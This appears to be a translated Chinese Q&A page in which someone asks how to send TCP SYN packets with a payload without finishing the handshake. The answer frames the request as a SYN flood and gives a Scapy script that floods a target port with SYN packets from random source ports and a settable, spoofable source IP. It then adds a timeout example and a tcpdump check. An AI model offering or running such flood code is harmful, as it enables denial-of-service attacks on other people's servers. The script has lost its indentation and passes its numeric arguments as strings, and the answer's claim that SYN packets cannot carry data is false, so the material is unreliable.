socket.永远连接块.如何在不等待响应的情况下发送带有LENGHT的SYN数据包



我有一个简单的代码:

import socket
ip = "myip"
port = myport
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip,port))
print("SYN packet sent.")

如果我运行它,它永远不会到达打印,所以它永远不会完成连接,这是因为我想连接的IP没有打开那个端口。

事实上,我不想完成连接,只需要发送SYN请求。

此外,我还需要发送带有长度的数据包。如果我用hping3进行测试并探查发送的syn数据包,我会发现有一个100长度的有效载荷。如何将此有效载荷"添加"到数据包中?

我该怎么做?

据我所知,您想要的是TCP SYN洪水,使用Scapy Library可能是最好的选择。这可以通过类似以下代码来实现:

from scapy.all import *
def flood(src_ip, dst_ip, dst_port, amount):
ip = IP(src=src_ip, dst=dst_ip)
for i in range(0, amount):
src_port = random.randint(20, 65000)
transport = TCP(sport=src_port, dport=dst_port, flags="S")
send(ip/transport)
if __name__ == '__main__':
flood('x.x.x.x', 'x.x.x.x', '443', '1000')

如上所述,重要的是要注意,不能在SYN数据包中发送数据。

如果您不想等待响应,可以使用socket.settimeout

下面是一个设置5秒超时的示例:

try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(5)
s.connect((ip, port))
except socket.timeout:
pass

另一种解决方案,尽管更困难,是使用原始套接字手动发送数据包。

您可以使用诸如tcpdump:之类的工具来验证您的数据包是否确实在发送

$ tcpdump 'tcp port 5005'

最新更新